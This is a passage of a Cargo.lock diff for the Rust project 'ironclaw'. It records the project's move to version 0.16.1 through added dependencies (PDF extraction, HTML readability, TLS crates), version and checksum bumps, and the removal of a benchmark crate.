"tokio", - "tokio-rustls", + "tokio-rustls 0.26.4", "tower-service", ] @@ -3887,6 +4220,18 @@ dependencies = [ "generic-array", ] +[[package]] +name = "insta" +version = "1.46.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e82db8c87c7f1ccecb34ce0c24399b8a73081427f3c7c50a5d597925356115e4" +dependencies = [ + "console", + "once_cell", + "similar", + "tempfile", +] + [[package]] name = "io-extras" version = "0.18.4" @@ -3921,7 +4266,7 @@ dependencies = [ [[package]] name = "ironclaw" -version = "0.5.0" +version = "0.16.1" dependencies = [ "aes-gcm", "aho-corasick", @@ -3935,47 +4280,64 @@ dependencies = [ "bollard", "bytes", "chrono", + "chrono-tz", "clap", + "clap_complete", "cron", "crossterm 0.28.1", "deadpool-postgres", "dirs 6.0.0", "dotenvy", + "ed25519-dalek", + "flate2", "fs4 0.6.6", "futures", + "hex", "hkdf", + "hmac", + "html-to-markdown-rs", "http-body-util", "hyper 1.8.1", "hyper-util", + "iana-time-zone", + "insta", "lancedb", "libsql", + "lru 0.16.3", "mime_guess", "open", + "pdf-extract", "pgvector", "postgres-types", "pretty_assertions", "rand 0.8.5", + "readabilityrs", "refinery", "regex", "reqwest", "rig-core", "rust_decimal", "rust_decimal_macros", + "rustls 0.23.37", + "rustls-native-certs 0.8.3", "rustyline", "secrecy", "secret-service", - "security-framework 3.5.1", + "security-framework 3.7.0", + "semver", "serde", "serde_json", "serde_yml", "sha2", "subtle", + "tar", "tempfile", "termimad", "testcontainers-modules", "thiserror 2.0.18", "tokio", "tokio-postgres", + "tokio-postgres-rustls", "tokio-stream", "tokio-test", "tokio-tungstenite 0.26.2", @@ -3984,6 +4346,7 @@ dependencies = [ "tower-http 0.6.8", "tracing", "tracing-subscriber", + "tracing-test", "url", "urlencoding", "uuid", @@ -3991,30 +4354,7 @@ dependencies = [ "wasmtime", "wasmtime-wasi", "zbus", -] - -[[package]] -name = "ironclaw-bench" -version = "0.1.0" -dependencies = [ - "anyhow", - "async-trait", - "chrono", - "clap", - "futures", - "ironclaw", - "regex", - "rust_decimal", - "serde", - "serde_json", - "tempfile", - "thiserror 2.0.18", - "tokio", - "tokio-stream", - "toml", - "tracing", - "tracing-subscriber", - "uuid", + "zip", ] [[package]] @@ -4106,9 +4446,9 @@ dependencies = [ [[package]] name = "jiff" -version = "0.2.20" +version = "0.2.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c867c356cc096b33f4981825ab281ecba3db0acefe60329f044c1789d94c6543" +checksum = "1a3546dc96b6d42c5f24902af9e2538e82e39ad350b0c766eb3fbf2d8f3d8359" dependencies = [ "jiff-static", "jiff-tzdb-platform", @@ -4121,20 +4461,20 @@ dependencies = [ [[package]] name = "jiff-static" -version = "0.2.20" +version = "0.2.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f7946b4325269738f270bb55b3c19ab5c5040525f83fd625259422a9d25d9be5" +checksum = "2a8c8b344124222efd714b73bb41f8b5120b27a7cc1c75593a6ff768d9d05aa4" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] name = "jiff-tzdb" -version = "0.1.5" +version = "0.1.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68971ebff725b9e2ca27a601c5eb38a4c5d64422c4cbab0c535f248087eda5c2" +checksum = "c900ef84826f1338a557697dc8fc601df9ca9af4ac137c7fb61d4c6f2dfd3076" [[package]] name = "jiff-tzdb-platform" @@ -4157,9 +4497,9 @@ dependencies = [ [[package]] name = "js-sys" -version = "0.3.85" +version = "0.3.90" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8c942ebf8e95485ca0d52d97da7c5a2c387d0e7f0ba4c35e93bfcaee045955b3" +checksum = "14dc6f6450b3f6d4ed5b16327f38fed626d375a886159ca555bd7822c0c3a5a6" dependencies = [ "once_cell", "wasm-bindgen", @@ -4185,6 +4525,21 @@ dependencies = [ "serde_json", ] +[[package]] +name = "kuchikikiki" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b73885c6a3cefdf7a1db0327cefbe4b9b72cac94cae4b19ede4fa492d8af02a0" +dependencies = [ + "bitflags 2.11.0", + "crc", + "cssparser", + "html5ever 0.38.0", + "indexmap 2.13.0", + "precomputed-hash", + "selectors 0.35.0", +] + [[package]] name = "lance" version = "2.0.0" @@ -4562,7 +4917,7 @@ dependencies = [ "prost 0.14.3", "rand 0.9.2", "serde", - "shellexpand 3.1.1", + "shellexpand 3.1.2", "snafu", "tokio", "tracing", @@ -4755,9 +5110,9 @@ dependencies = [ [[package]] name = "lazy-regex" -version = "3.5.1" +version = "3.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c5c13b6857ade4c8ee05c3c3dc97d2ab5415d691213825b90d3211c425c1f907" +checksum = "6bae91019476d3ec7147de9aa291cadb6d870abf2f3015d2da73a90325ac1496" dependencies = [ "lazy-regex-proc_macros", "once_cell", @@ -4766,14 +5121,14 @@ dependencies = [ [[package]] name = "lazy-regex-proc_macros" -version = "3.5.1" +version = "3.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "32a95c68db5d41694cea563c86a4ba4dc02141c16ef64814108cb23def4d5438" +checksum = "4de9c1e1439d8b7b3061b2d209809f447ca33241733d9a3c01eabf2dc8d94358" dependencies = [ "proc-macro2", "quote", "regex", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -4865,9 +5220,9 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.180" +version = "0.2.182" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bcc35a38544a891a5f7c865aca548a982ccb3b8650a5b06d0fd33a10283c56fc" +checksum = "6800badb6cb2082ffd7b6a67e6125bb39f18782f793520caee8cb8846be06112" [[package]] name = "libloading" @@ -4891,9 +5246,9 @@ version = "0.1.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3d0b95e02c851351f877147b7deea7b1afb1df71b63aa5f8270716e0c5720616" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "libc", - "redox_syscall 0.7.0", + "redox_syscall 0.7.2", ] [[package]] @@ -4905,21 +5260,26 @@ dependencies = [ "anyhow", "async-stream", "async-trait", + "base64 0.21.7", "bincode", - "bitflags 2.10.0", + "bitflags 2.11.0", "bytes", "fallible-iterator 0.3.0", "futures", "http 0.2.12", "hyper 0.14.32", + "hyper-rustls 0.25.0", + "libsql-hrana", "libsql-sqlite3-parser", "libsql-sys", "libsql_replication", "parking_lot", "serde", + "serde_json", "thiserror 1.0.69", "tokio", "tokio-stream", + "tokio-util", "tonic", "tonic-web", "tower 0.4.13", @@ -4939,13 +5299,25 @@ dependencies = [ "cc", ] +[[package]] +name = "libsql-hrana" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aeaf5d19e365465e1c23d687a28c805d7462531b3f619f0ba49d3cf369890a3e" +dependencies = [ + "base64 0.21.7", + "bytes", + "prost 0.12.6", + "serde", +] + [[package]] name = "libsql-rusqlite" version = "0.33.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ae65c66088dcd309abbd5617ae046abac2a2ee0a7fdada5127353bd68e0a27ea" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "fallible-iterator 0.2.0", "fallible-streaming-iterator", "hashlink", @@ -4959,14 +5331,14 @@ version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "15a90128c708356af8f7d767c9ac2946692c9112b4f74f07b99a01a60680e413" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "cc", "fallible-iterator 0.3.0", "indexmap 2.13.0", "log", "memchr", "phf 0.11.3", - "phf_codegen", + "phf_codegen 0.11.3", "phf_shared 0.11.3", "uncased", ] @@ -5029,9 +5401,9 @@ checksum = "d26c52dbd32dccf2d10cac7725f8eae5296885fb5703b261f7d0a0739ec807ab" [[package]] name = "linux-raw-sys" -version = "0.11.0" +version = "0.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "df1d3c3b53da64cf5760482273a98e575c651a67eec7f77df96b5b642de8f039" +checksum = "32a66949e030da00e8c7d4434b251670a91556f4144941d37452769c25d58a53" [[package]] name = "litemap" @@ -5073,6 +5445,24 @@ dependencies = [ "tracing-subscriber", ] +[[package]] +name = "lopdf" +version = "0.34.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c5c8ecfc6c72051981c0459f75ccc585e7ff67c70829560cda8e647882a9abff" +dependencies = [ + "encoding_rs", + "flate2", + "indexmap 2.13.0", + "itoa", + "log", + "md-5", + "nom 7.1.3", + "rangemap", + "time", + "weezl", +] + [[package]] name = "lru" version = "0.12.5" @@ -5082,6 +5472,15 @@ dependencies = [ "hashbrown 0.15.5", ] +[[package]] +name = "lru" +version = "0.16.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1dc47f592c06f33f8e3aea9591776ec7c9f9e4124778ff8a3c3b87159f7e593" +dependencies = [ + "hashbrown 0.16.1", +] + [[package]] name = "lru-slab" version = "0.1.2" @@ -5122,6 +5521,12 @@ dependencies = [ "twox-hash", ] +[[package]] +name = "mac" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4" + [[package]] name = "mach2" version = "0.4.3" @@ -5131,6 +5536,28 @@ dependencies = [ "libc", ] +[[package]] +name = "markup5ever" +version = "0.36.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c3294c4d74d0742910f8c7b466f44dda9eb2d5742c1e430138df290a1e8451c" +dependencies = [ + "log", + "tendril 0.4.3", + "web_atoms", +] + +[[package]] +name = "markup5ever" +version = "0.38.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8983d30f2915feeaaab2d6babdd6bc7e9ed1a00b66b5e6d74df19aa9c0e91862" +dependencies = [ + "log", + "tendril 0.5.0", + "web_atoms", +] + [[package]] name = "matchers" version = "0.2.0" @@ -5192,9 +5619,9 @@ dependencies = [ [[package]] name = "memchr" -version = "2.7.6" +version = "2.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273" +checksum = "f8ca58f447f06ed17d5fc4043ce1b10dd205e060fb3ce5b979b8ed8e59ff3f79" [[package]] name = "memfd" @@ -5202,7 +5629,7 @@ version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ad38eb12aea514a0466ea40a80fd8cc83637065948eb4a426e4aa46261175227" dependencies = [ - "rustix 1.1.3", + "rustix 1.1.4", ] [[package]] @@ -5284,9 +5711,9 @@ checksum = "dce6dd36094cac388f119d2e9dc82dc730ef91c32a6222170d630e5414b956e6" [[package]] name = "moka" -version = "0.12.13" +version = "0.12.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4ac832c50ced444ef6be0767a008b02c106a909ba79d1d830501e94b96f6b7e" +checksum = "85f8024e1c8e71c778968af91d43700ce1d11b219d127d79fb2934153b82b42b" dependencies = [ "async-lock", "crossbeam-channel", @@ -5325,17 +5752,17 @@ dependencies = [ [[package]] name = "native-tls" -version = "0.2.14" +version = "0.2.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "87de3442987e9dbec73158d5c715e7ad9072fda936bb03d19d7fa10e00520f0e" +checksum = "465500e14ea162429d264d44189adc38b199b62b1c21eea9f69e4b73cb03bbf2" dependencies = [ "libc", "log", "openssl", - "openssl-probe 0.1.6", + "openssl-probe 0.2.1", "openssl-sys", "schannel", - "security-framework 2.11.1", + "security-framework 3.7.0", "security-framework-sys", "tempfile", ] @@ -5355,6 +5782,12 @@ dependencies = [ "rawpointer", ] +[[package]] +name = "new_debug_unreachable" +version = "1.0.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "650eef8c711430f1a879fdd01d4745a7deea475becfb90269c06775983bbf086" + [[package]] name = "nibble_vec" version = "0.1.0" @@ -5370,7 +5803,7 @@ version = "0.29.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "71e2746dc3a24dd78b3cfcb7be93368c6de9963d30f43a6a73998a9cf4b17b46" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "cfg-if", "cfg_aliases", "libc", @@ -5383,7 +5816,7 @@ version = "0.30.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "cfg-if", "cfg_aliases", "libc", @@ -5452,9 +5885,9 @@ dependencies = [ [[package]] name = "num-conv" -version = "0.1.0" +version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "51d515d32fb182ee37cda2ccdcb92950d6a3c2893aa280e540671c2cd0f3b1d9" +checksum = "cf97ec579c3c42f953ef76dbf8d55ac91fb219dde70e49aa4a6b7d74e9919050" [[package]] name = "num-integer" @@ -5526,7 +5959,25 @@ dependencies = [ "proc-macro-crate", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", +] + +[[package]] +name = "objc2-core-foundation" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536" +dependencies = [ + "bitflags 2.11.0", +] + +[[package]] +name = "objc2-system-configuration" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7216bd11cbda54ccabcab84d523dc93b858ec75ecfb3a7d89513fa22464da396" +dependencies = [ + "objc2-core-foundation", ] [[package]] @@ -5615,7 +6066,7 @@ version = "0.10.75" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "08838db121398ad17ab8531ce9de97b244589089e290a384c900cb9ff7434328" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "cfg-if", "foreign-types", "libc", @@ -5632,7 +6083,7 @@ checksum = "a948666b637a0f465e8564c73e89d4dde00d72d4d473cc972f390fc3dcee7d9c" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -5744,7 +6195,7 @@ dependencies = [ "regex", "regex-syntax", "structmeta", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -5771,6 +6222,21 @@ version = "0.2.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "df94ce210e5bc13cb6651479fa48d14f601d9858cfe0467f43ae157023b938d3" +[[package]] +name = "pdf-extract" +version = "0.7.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cbb3a5387b94b9053c1e69d8abfd4dd6dae7afda65a5c5279bc1f42ab39df575" +dependencies = [ + "adobe-cmap-parser", + "encoding_rs", + "euclid", + "lopdf", + "postscript", + "type1-encoding-parser", + "unicode-normalization", +] + [[package]] name = "peeking_take_while" version = "0.1.2" @@ -5835,6 +6301,7 @@ version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c1562dc717473dbaa4c1f85a36410e03c047b2e7df7f45ee938fbef64ae7fadf" dependencies = [ + "phf_macros", "phf_shared 0.13.1", "serde", ] @@ -5845,10 +6312,20 @@ version = "0.11.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "aef8048c789fa5e851558d709946d6d79a8ff88c0440c587967f8e94bfb1216a" dependencies = [ - "phf_generator", + "phf_generator 0.11.3", "phf_shared 0.11.3", ] +[[package]] +name = "phf_codegen" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49aa7f9d80421bca176ca8dbfebe668cc7a2684708594ec9f3c0db0805d5d6e1" +dependencies = [ + "phf_generator 0.13.1", + "phf_shared 0.13.1", +] + [[package]] name = "phf_generator" version = "0.11.3" @@ -5859,6 +6336,29 @@ dependencies = [ "rand 0.8.5", ] +[[package]] +name = "phf_generator" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "135ace3a761e564ec88c03a77317a7c6b80bb7f7135ef2544dbe054243b89737" +dependencies = [ + "fastrand", + "phf_shared 0.13.1", +] + +[[package]] +name = "phf_macros" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "812f032b54b1e759ccd5f8b6677695d5268c588701effba24601f6932f8269ef" +dependencies = [ + "phf_generator 0.13.1", + "phf_shared 0.13.1", + "proc-macro2", + "quote", + "syn 2.0.117", +] + [[package]] name = "phf_shared" version = "0.11.3" @@ -5904,7 +6404,7 @@ checksum = "6e918e4ff8c4549eb882f14b3a4bc8c8bc93de829416eacf579f1207a8fbf861" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -5930,6 +6430,16 @@ dependencies = [ "futures-io", ] +[[package]] +name = "pkcs8" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f950b2377845cebe5cf8b5165cb3cc1a5e0fa5cfa3e1f7f55707d8fd82e0a7b7" +dependencies = [ + "der", + "spki", +] + [[package]] name = "pkg-config" version = "0.3.32" @@ -5946,7 +6456,7 @@ dependencies = [ "concurrent-queue", "hermit-abi", "pin-project-lite", - "rustix 1.1.3", + "rustix 1.1.4", "windows-sys 0.61.2", ] @@ -5962,6 +6472,12 @@ dependencies = [ "universal-hash", ] +[[package]] +name = "pom" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "60f6ce597ecdcc9a098e7fddacb1065093a3d66446fa16c675e7e71d1b5c28e6" + [[package]] name = "portable-atomic" version = "1.13.1" @@ -6022,6 +6538,12 @@ dependencies = [ "uuid", ] +[[package]] +name = "postscript" +version = "0.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78451badbdaebaf17f053fd9152b3ffb33b516104eacb45e7864aaa9c712f306" + [[package]] name = "potential_utf" version = "0.1.4" @@ -6043,9 +6565,15 @@ version = "0.2.21" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "85eae3c4ed2f50dcfe72643da4befc30deadb458a9b590d720cde2f2b1e97da9" dependencies = [ - "zerocopy 0.8.37", + "zerocopy 0.8.39", ] +[[package]] +name = "precomputed-hash" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "925383efa346730478fb4838dbe9137d2a47675ad789c546d150a6e1dd4ab31c" + [[package]] name = "pretty_assertions" version = "1.4.1" @@ -6063,7 +6591,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "479ca8adacdd7ce8f1fb39ce9ecccbfe93a3f1344b3d0d97f20bc0196208f62b" dependencies = [ "proc-macro2", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -6119,7 +6647,7 @@ dependencies = [ "prost 0.14.3", "prost-types", "regex", - "syn 2.0.114", + "syn 2.0.117", "tempfile", ] @@ -6133,7 +6661,7 @@ dependencies = [ "itertools 0.12.1", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -6146,7 +6674,7 @@ dependencies = [ "itertools 0.12.1", "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -6160,9 +6688,9 @@ dependencies = [ [[package]] name = "psm" -version = "0.1.29" +version = "0.1.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1fa96cb91275ed31d6da3e983447320c4eb219ac180fa1679a0889ff32861e2d" +checksum = "3852766467df634d74f0b2d7819bf8dc483a0eb2e3b0f50f756f9cfe8b0d18d8" dependencies = [ "ar_archive_writer", "cc", @@ -6211,7 +6739,7 @@ dependencies = [ "quinn-proto", "quinn-udp", "rustc-hash 2.1.1", - "rustls", + "rustls 0.23.37", "socket2 0.6.2", "thiserror 2.0.18", "tokio", @@ -6231,7 +6759,7 @@ dependencies = [ "rand 0.9.2", "ring", "rustc-hash 2.1.1", - "rustls", + "rustls 0.23.37", "rustls-pki-types", "slab", "thiserror 2.0.18", @@ -6418,6 +6946,24 @@ dependencies = [ "crossbeam-utils", ] +[[package]] +name = "readabilityrs" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eb174b0af6c181a87d68b42800806657bfbdf88b566f819aaadb9d2a7b7699d" +dependencies = [ + "bitflags 2.11.0", + "kuchikikiki", + "once_cell", + "regex", + "scraper", + "serde", + "serde_json", + "thiserror 1.0.69", + "url", + "v_htmlescape", +] + [[package]] name = "redox_syscall" version = "0.3.5" @@ -6433,16 +6979,16 @@ version = "0.5.18" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", ] [[package]] name = "redox_syscall" -version = "0.7.0" +version = "0.7.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "49f3fe0889e69e2ae9e41f4d6c4c0181701d00e4697b356fb1f74173a5e0ee27" +checksum = "6d94dd2f7cd932d4dc02cc8b2b50dfd38bd079a4e5d79198b99743d7fcf9a4b4" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", ] [[package]] @@ -6484,7 +7030,7 @@ checksum = "b7186006dcb21920990093f30e3dea63b7d6e977bf1256be20c3563a5db070da" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -6529,7 +7075,7 @@ dependencies = [ "quote", "refinery-core", "regex", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -6548,9 +7094,9 @@ dependencies = [ [[package]] name = "regex" -version = "1.12.2" +version = "1.12.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "843bc0191f75f3e22651ae5f1e72939ab2f72a4bc30fa80a066bd66edefc24d4" +checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276" dependencies = [ "aho-corasick", "memchr", @@ -6560,9 +7106,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.13" +version = "0.4.14" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5276caf25ac86c8d810222b3dbb938e512c55c6831a10f3e6ed1c93b84041f1c" +checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f" dependencies = [ "aho-corasick", "memchr", @@ -6571,9 +7117,9 @@ dependencies = [ [[package]] name = "regex-syntax" -version = "0.8.8" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7a2d987857b319362043e95f5353c0535c1f58eec5336fdfcf626430af7def58" +checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a" [[package]] name = "relative-path" @@ -6606,7 +7152,7 @@ dependencies = [ "http-body 1.0.1", "http-body-util", "hyper 1.8.1", - "hyper-rustls", + "hyper-rustls 0.27.7", "hyper-tls", "hyper-util", "js-sys", @@ -6617,8 +7163,8 @@ dependencies = [ "percent-encoding", "pin-project-lite", "quinn", - "rustls", - "rustls-native-certs", + "rustls 0.23.37", + "rustls-native-certs 0.8.3", "rustls-pki-types", "serde", "serde_json", @@ -6626,7 +7172,7 @@ dependencies = [ "sync_wrapper 1.0.2", "tokio", "tokio-native-tls", - "tokio-rustls", + "tokio-rustls 0.26.4", "tokio-util", "tower 0.5.3", "tower-http 0.6.8", @@ -6765,7 +7311,7 @@ dependencies = [ "regex", "relative-path", "rustc_version", - "syn 2.0.114", + "syn 2.0.117", "unicode-ident", ] @@ -6803,7 +7349,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "74a5a6f027e892c7a035c6fddb50435a1fbf5a734ffc0c2a9fed4d0221440519" dependencies = [ "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -6839,7 +7385,7 @@ version = "0.38.44" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "errno", "libc", "linux-raw-sys 0.4.15", @@ -6848,14 +7394,14 @@ dependencies = [ [[package]] name = "rustix" -version = "1.1.3" +version = "1.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "146c9e247ccc180c1f61615433868c99f3de3ae256a30a43b49f67c2d9171f34" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "errno", "libc", - "linux-raw-sys 0.11.0", + "linux-raw-sys 0.12.1", "windows-sys 0.61.2", ] @@ -6866,23 +7412,50 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2fc84bf7e9aa16c4f2c758f27412dc9841341e16aa682d9c7ac308fe3ee12056" dependencies = [ "once_cell", - "rustix 1.1.3", + "rustix 1.1.4", ] [[package]] name = "rustls" -version = "0.23.36" +version = "0.22.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c665f33d38cea657d9614f766881e4d510e0eda4239891eea56b4cadcf01801b" +checksum = "bf4ef73721ac7bcd79b2b315da7779d8fc09718c6b3d2d1b2d94850eb8c18432" +dependencies = [ + "log", + "ring", + "rustls-pki-types", + "rustls-webpki 0.102.8", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls" +version = "0.23.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "758025cb5fccfd3bc2fd74708fd4682be41d99e5dff73c377c0646c6012c73a4" dependencies = [ "once_cell", "ring", "rustls-pki-types", - "rustls-webpki", + "rustls-webpki 0.103.9", "subtle", "zeroize", ] +[[package]] +name = "rustls-native-certs" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5bfb394eeed242e909609f56089eecfe5fda225042e8b171791b9c95f5931e5" +dependencies = [ + "openssl-probe 0.1.6", + "rustls-pemfile", + "rustls-pki-types", + "schannel", + "security-framework 2.11.1", +] + [[package]] name = "rustls-native-certs" version = "0.8.3" @@ -6892,7 +7465,7 @@ dependencies = [ "openssl-probe 0.2.1", "rustls-pki-types", "schannel", - "security-framework 3.5.1", + "security-framework 3.7.0", ] [[package]] @@ -6914,6 +7487,17 @@ dependencies = [ "zeroize", ] +[[package]] +name = "rustls-webpki" +version = "0.102.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64ca1bc8749bd4cf37b5ce386cc146580777b4e8572c7b97baf22c83f444bee9" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + [[package]] name = "rustls-webpki" version = "0.103.9" @@ -6937,7 +7521,7 @@ version = "17.0.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e902948a25149d50edc1a8e0141aad50f54e22ba83ff988cf8f7c9ef07f50564" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "cfg-if", "clipboard-win", "fd-lock", @@ -6949,7 +7533,7 @@ dependencies = [ "radix_trie", "rustyline-derive", "unicode-segmentation", - "unicode-width 0.2.0", + "unicode-width 0.2.2", "utf8parse", "windows-sys 0.60.2", ] @@ -6962,14 +7546,14 @@ checksum = "5d66de233f908aebf9cc30ac75ef9103185b4b715c6f2fb7a626aa5e5ede53ab" dependencies = [ "proc-macro2", "quote", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] name = "ryu" -version = "1.0.22" +version = "1.0.23" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a50f4cf475b65d88e057964e0e9bb1f0aa9bbb2036dc65c64596b42932536984" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" [[package]] name = "same-file" @@ -7023,7 +7607,7 @@ dependencies = [ "proc-macro2", "quote", "serde_derive_internals", - "syn 2.0.114", + "syn 2.0.117", ] [[package]] @@ -7038,6 +7622,21 @@ version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" +[[package]] +name = "scraper" +version = "0.25.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93cecd86d6259499c844440546d02f55f3e17bd286e529e48d1f9f67e92315cb" +dependencies = [ + "cssparser", + "ego-tree", + "getopts", + "html5ever 0.36.1", + "precomputed-hash", + "selectors 0.33.0", + "tendril 0.4.3", +] + [[package]] name = "seahash" version = "4.1.0" @@ -7079,7 +7678,7 @@ version = "2.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "897b2245f0b511c87893af39b033e5ca9cce68824c4d7e7630b5a1d339658d02" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "core-foundation 0.9.4", "core-foundation-sys", "libc", @@ -7088,11 +7687,11 @@ dependencies = [ [[package]] name = "security-framework" -version = "3.5.1" +version = "3.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b3297343eaf830f66ede390ea39da1d462b6b0c1b000f420d0a83f898bbbe6ef" +checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d" dependencies = [ - "bitflags 2.10.0", + "bitflags 2.11.0", "core-foundation 0.10.1", "core-foundation-sys", "libc", @@ -7101,14 +7700,52 @@ dependencies = [ [[package]] name = "security-framework-sys" -version = "2.15.0" +version = "2.17.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cc1f0cbffaac4852523ce30d8bd3c5cdc873501d96ff467ca09b6767bb8cd5c0" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" dependencies = [ "core-foundation-sys", "libc", ] +[[package]] +name = "selectors" +version = "0.33.0" +source = "registry+https://github.com/rust-lang/crates.io-index" 